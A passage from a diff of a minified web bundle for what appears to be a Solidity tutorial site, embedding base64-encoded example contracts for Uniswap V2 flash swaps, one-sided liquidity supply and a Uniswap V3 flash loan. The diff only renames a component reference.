3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MgcGFpcik7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSVdFVEggaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlOwogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBhbW91bnQpIGV4dGVybmFsOwp9Cg=="},{fileName:"UniswapV2FlashSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdH0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICIuLi8uLi8uLi9zcmMvZGVmaS91bmlzd2FwLXYyLWZsYXNoLXN3YXAvVW5pc3dhcFYyRmxhc2hTd2FwLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJGbGFzaFN3YXBUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CgogICAgVW5pc3dhcFYyRmxhc2hTd2FwIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkZsYXNoU3dhcCgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgZnVuY3Rpb24gdGVzdEZsYXNoU3dhcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIC8vIEFwcHJvdmUgZmxhc2ggc3dhcCBmZWUKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRUb0JvcnJvdyA9IDEwICogMWUxODsKICAgICAgICB1bmkuZmxhc2hTd2FwKGFtb3VudFRvQm9ycm93KTsKCiAgICAgICAgYXNzZXJ0R3QodW5pLmFtb3VudFRvUmVwYXkoKSwgYW1vdW50VG9Cb3Jyb3cpOwogICAgfQp9Cg=="}],_m=`

                    Uniswap V2 Flash Swap Example

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -5825,7 +5825,7 @@ IERC20 constant PAIR Foundry
                    
 
                    Uniswap V3 Foundry example
                    
-`,Lm=({prev:s,next:a})=>r.jsx(u,{version:Em,title:Qm,description:Tm,html:_m,prev:s,next:a,codes:Um}),Om="0.8.24",Pm="Uniswap V2 Optimal One Sided Supply",$m="Uniswap V2 Optimal One Sided Supply",qm=[{fileName:"Optimal.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RVbmlzd2FwT3B0aW1hbE9uZVNpZGVkU3VwcGx5IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgUk9VVEVSID0gMHg3YTI1MGQ1NjMwQjRjRjUzOTczOWRGMkM1ZEFjYjRjNjU5RjI0ODhEOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICB9CgogICAgLyoKICAgIHMgPSBvcHRpbWFsIHN3YXAgYW1vdW50CiAgICByID0gYW1vdW50IG9mIHJlc2VydmUgZm9yIHRva2VuIGEKICAgIGEgPSBhbW91bnQgb2YgdG9rZW4gYSB0aGUgdXNlciBjdXJyZW50bHkgaGFzIChub3QgYWRkZWQgdG8gcmVzZXJ2ZSB5ZXQpCiAgICBmID0gc3dhcCBmZWUgcGVyY2VudAogICAgcyA9IChzcXJ0KCgoMiAtIGYpcileMiArIDQoMSAtIGYpYXIpIC0gKDIgLSBmKXIpIC8gKDIoMSAtIGYpKQogICAgKi8KICAgIGZ1bmN0aW9uIGdldFN3YXBBbW91bnQodWludDI1NiByLCB1aW50MjU2IGEpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIChzcXJ0KHIgKiAociAqIDM5ODgwMDkgKyBhICogMzk4ODAwMCkpIC0gciAqIDE5OTcpIC8gMTk5NDsKICAgIH0KCiAgICAvKiBPcHRpbWFsIG9uZS1zaWRlZCBzdXBwbHkKICAgIDEuIFN3YXAgb3B0aW1hbCBhbW91bnQgZnJvbSB0b2tlbiBBIHRvIHRva2VuIEIKICAgIDIuIEFkZCBsaXF1aWRpdHkKICAgICovCiAgICBmdW5jdGlvbiB6YXAoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIsIHVpbnQyNTYgX2Ftb3VudEEpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF90b2tlbkEgPT0gV0VUSCB8fCBfdG9rZW5CID09IFdFVEgsICIhd2V0aCIpOwoKICAgICAgICBJRVJDMjAoX3Rva2VuQSkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRBKTsKCiAgICAgICAgYWRkcmVzcyBwYWlyID0gSVVuaXN3YXBWMkZhY3RvcnkoRkFDVE9SWSkuZ2V0UGFpcihfdG9rZW5BLCBfdG9rZW5CKTsKICAgICAgICAodWludDI1NiByZXNlcnZlMCwgdWludDI1NiByZXNlcnZlMSwpID0KICAgICAgICAgICAgSVVuaXN3YXBWMlBhaXIocGFpcikuZ2V0UmVzZXJ2ZXMoKTsKCiAgICAgICAgdWludDI1NiBzd2FwQW1vdW50OwogICAgICAgIGlmIChJVW5pc3dhcFYyUGFpcihwYWlyKS50b2tlbjAoKSA9PSBfdG9rZW5BKSB7CiAgICAgICAgICAgIC8vIHN3YXAgZnJvbSB0b2tlbjAgdG8gdG9rZW4xCiAgICAgICAgICAgIHN3YXBBbW91bnQgPSBnZXRTd2FwQW1vdW50KHJlc2VydmUwLCBfYW1vdW50QSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gc3dhcCBmcm9tIHRva2VuMSB0byB0b2tlbjAKICAgICAgICAgICAgc3dhcEFtb3VudCA9IGdldFN3YXBBbW91bnQocmVzZXJ2ZTEsIF9hbW91bnRBKTsKICAgICAgICB9CgogICAgICAgIF9zd2FwKF90b2tlbkEsIF90b2tlbkIsIHN3YXBBbW91bnQpOwogICAgICAgIF9hZGRMaXF1aWRpdHkoX3Rva2VuQSwgX3Rva2VuQik7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoYWRkcmVzcyBfZnJvbSwgYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgaW50ZXJuYWwgewogICAgICAgIElFUkMyMChfZnJvbSkuYXBwcm92ZShST1VURVIsIF9hbW91bnQpOwoKICAgICAgICBhZGRyZXNzW10gbWVtb3J5IHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBfZnJvbTsKICAgICAgICBwYXRoWzFdID0gX3RvOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgICAgICBfYW1vdW50LCAxLCBwYXRoLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9hZGRMaXF1aWRpdHkoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIpIGludGVybmFsIHsKICAgICAgICB1aW50MjU2IGJhbEEgPSBJRVJDMjAoX3Rva2VuQSkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsQiA9IElFUkMyMChfdG9rZW5CKS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgSUVSQzIwKF90b2tlbkEpLmFwcHJvdmUoUk9VVEVSLCBiYWxBKTsKICAgICAgICBJRVJDMjAoX3Rva2VuQikuYXBwcm92ZShST1VURVIsIGJhbEIpOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuYWRkTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBiYWxBLCBiYWxCLCAwLCAwLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkoCiAgICAgICAgYWRkcmVzcyB0b2tlbkEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkIsCiAgICAgICAgdWludDI1NiBhbW91bnRBRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEJEZXNpcmVkLAogICAgICAgIHVpbnQyNTYgYW1vdW50QU1pbiwKICAgICAgICB1aW50MjU2IGFtb3VudEJNaW4sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgIHVpbnQyNTYgYW1vdW50SW4sCiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW4sCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyk7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIHRva2VuMCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyk7CgogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKCiAgICBmdW5jdGlvbiBnZXRSZXNlcnZlcygpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDExMiByZXNlcnZlMCwgdWludDExMiByZXNlcnZlMSwgdWludDMyIGJsb2NrVGltZXN0YW1wTGFzdCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],sb=`
                    Optimal One Sided Supply
                    
+`,Lm=({prev:s,next:a})=>r.jsx(A,{version:Em,title:Qm,description:Tm,html:_m,prev:s,next:a,codes:Um}),Om="0.8.24",Pm="Uniswap V2 Optimal One Sided Supply",$m="Uniswap V2 Optimal One Sided Supply",qm=[{fileName:"Optimal.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RVbmlzd2FwT3B0aW1hbE9uZVNpZGVkU3VwcGx5IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgUk9VVEVSID0gMHg3YTI1MGQ1NjMwQjRjRjUzOTczOWRGMkM1ZEFjYjRjNjU5RjI0ODhEOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICB9CgogICAgLyoKICAgIHMgPSBvcHRpbWFsIHN3YXAgYW1vdW50CiAgICByID0gYW1vdW50IG9mIHJlc2VydmUgZm9yIHRva2VuIGEKICAgIGEgPSBhbW91bnQgb2YgdG9rZW4gYSB0aGUgdXNlciBjdXJyZW50bHkgaGFzIChub3QgYWRkZWQgdG8gcmVzZXJ2ZSB5ZXQpCiAgICBmID0gc3dhcCBmZWUgcGVyY2VudAogICAgcyA9IChzcXJ0KCgoMiAtIGYpcileMiArIDQoMSAtIGYpYXIpIC0gKDIgLSBmKXIpIC8gKDIoMSAtIGYpKQogICAgKi8KICAgIGZ1bmN0aW9uIGdldFN3YXBBbW91bnQodWludDI1NiByLCB1aW50MjU2IGEpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIChzcXJ0KHIgKiAociAqIDM5ODgwMDkgKyBhICogMzk4ODAwMCkpIC0gciAqIDE5OTcpIC8gMTk5NDsKICAgIH0KCiAgICAvKiBPcHRpbWFsIG9uZS1zaWRlZCBzdXBwbHkKICAgIDEuIFN3YXAgb3B0aW1hbCBhbW91bnQgZnJvbSB0b2tlbiBBIHRvIHRva2VuIEIKICAgIDIuIEFkZCBsaXF1aWRpdHkKICAgICovCiAgICBmdW5jdGlvbiB6YXAoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIsIHVpbnQyNTYgX2Ftb3VudEEpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF90b2tlbkEgPT0gV0VUSCB8fCBfdG9rZW5CID09IFdFVEgsICIhd2V0aCIpOwoKICAgICAgICBJRVJDMjAoX3Rva2VuQSkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRBKTsKCiAgICAgICAgYWRkcmVzcyBwYWlyID0gSVVuaXN3YXBWMkZhY3RvcnkoRkFDVE9SWSkuZ2V0UGFpcihfdG9rZW5BLCBfdG9rZW5CKTsKICAgICAgICAodWludDI1NiByZXNlcnZlMCwgdWludDI1NiByZXNlcnZlMSwpID0KICAgICAgICAgICAgSVVuaXN3YXBWMlBhaXIocGFpcikuZ2V0UmVzZXJ2ZXMoKTsKCiAgICAgICAgdWludDI1NiBzd2FwQW1vdW50OwogICAgICAgIGlmIChJVW5pc3dhcFYyUGFpcihwYWlyKS50b2tlbjAoKSA9PSBfdG9rZW5BKSB7CiAgICAgICAgICAgIC8vIHN3YXAgZnJvbSB0b2tlbjAgdG8gdG9rZW4xCiAgICAgICAgICAgIHN3YXBBbW91bnQgPSBnZXRTd2FwQW1vdW50KHJlc2VydmUwLCBfYW1vdW50QSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gc3dhcCBmcm9tIHRva2VuMSB0byB0b2tlbjAKICAgICAgICAgICAgc3dhcEFtb3VudCA9IGdldFN3YXBBbW91bnQocmVzZXJ2ZTEsIF9hbW91bnRBKTsKICAgICAgICB9CgogICAgICAgIF9zd2FwKF90b2tlbkEsIF90b2tlbkIsIHN3YXBBbW91bnQpOwogICAgICAgIF9hZGRMaXF1aWRpdHkoX3Rva2VuQSwgX3Rva2VuQik7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoYWRkcmVzcyBfZnJvbSwgYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgaW50ZXJuYWwgewogICAgICAgIElFUkMyMChfZnJvbSkuYXBwcm92ZShST1VURVIsIF9hbW91bnQpOwoKICAgICAgICBhZGRyZXNzW10gbWVtb3J5IHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBfZnJvbTsKICAgICAgICBwYXRoWzFdID0gX3RvOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgICAgICBfYW1vdW50LCAxLCBwYXRoLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9hZGRMaXF1aWRpdHkoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIpIGludGVybmFsIHsKICAgICAgICB1aW50MjU2IGJhbEEgPSBJRVJDMjAoX3Rva2VuQSkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsQiA9IElFUkMyMChfdG9rZW5CKS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgSUVSQzIwKF90b2tlbkEpLmFwcHJvdmUoUk9VVEVSLCBiYWxBKTsKICAgICAgICBJRVJDMjAoX3Rva2VuQikuYXBwcm92ZShST1VURVIsIGJhbEIpOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuYWRkTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBiYWxBLCBiYWxCLCAwLCAwLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkoCiAgICAgICAgYWRkcmVzcyB0b2tlbkEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkIsCiAgICAgICAgdWludDI1NiBhbW91bnRBRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEJEZXNpcmVkLAogICAgICAgIHVpbnQyNTYgYW1vdW50QU1pbiwKICAgICAgICB1aW50MjU2IGFtb3VudEJNaW4sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgIHVpbnQyNTYgYW1vdW50SW4sCiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW4sCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyk7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIHRva2VuMCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyk7CgogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKCiAgICBmdW5jdGlvbiBnZXRSZXNlcnZlcygpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDExMiByZXNlcnZlMCwgdWludDExMiByZXNlcnZlMSwgdWludDMyIGJsb2NrVGltZXN0YW1wTGFzdCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],sb=`
                    Optimal One Sided Supply
                    
 
                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -5973,7 +5973,7 @@ IERC20 constant PAIR external
         returns (bool);
 }
-
                    `,ab=({prev:s,next:a})=>r.jsx(u,{version:Om,title:Pm,description:$m,html:sb,prev:s,next:a,codes:qm}),nb="0.8.24",lb="Uniswap V3 Flash Loan",pb="Uniswap V3 Flash Loan",eb=[{fileName:"UniswapV3Flash.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoIHsKICAgIHN0cnVjdCBGbGFzaENhbGxiYWNrRGF0YSB7CiAgICAgICAgdWludDI1NiBhbW91bnQwOwogICAgICAgIHVpbnQyNTYgYW1vdW50MTsKICAgICAgICBhZGRyZXNzIGNhbGxlcjsKICAgIH0KCiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGltbXV0YWJsZSBwb29sOwogICAgSUVSQzIwIHByaXZhdGUgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwcml2YXRlIGltbXV0YWJsZSB0b2tlbjE7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfcG9vbCkgewogICAgICAgIHBvb2wgPSBJVW5pc3dhcFYzUG9vbChfcG9vbCk7CiAgICAgICAgdG9rZW4wID0gSUVSQzIwKHBvb2wudG9rZW4wKCkpOwogICAgICAgIHRva2VuMSA9IElFUkMyMChwb29sLnRva2VuMSgpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBmbGFzaCh1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSkgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgRmxhc2hDYWxsYmFja0RhdGEoewogICAgICAgICAgICAgICAgYW1vdW50MDogYW1vdW50MCwKICAgICAgICAgICAgICAgIGFtb3VudDE6IGFtb3VudDEsCiAgICAgICAgICAgICAgICBjYWxsZXI6IG1zZy5zZW5kZXIKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgICAgIElVbmlzd2FwVjNQb29sKHBvb2wpLmZsYXNoKGFkZHJlc3ModGhpcyksIGFtb3VudDAsIGFtb3VudDEsIGRhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuaXN3YXBWM0ZsYXNoQ2FsbGJhY2soCiAgICAgICAgLy8gUG9vbCBmZWUgeCBhbW91bnQgcmVxdWVzdGVkCiAgICAgICAgdWludDI1NiBmZWUwLAogICAgICAgIHVpbnQyNTYgZmVlMSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gYWRkcmVzcyhwb29sKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIEZsYXNoQ2FsbGJhY2tEYXRhIG1lbW9yeSBkZWNvZGVkID0gYWJpLmRlY29kZShkYXRhLCAoRmxhc2hDYWxsYmFja0RhdGEpKTsKCiAgICAgICAgLy8gV3JpdGUgY3VzdG9tIGNv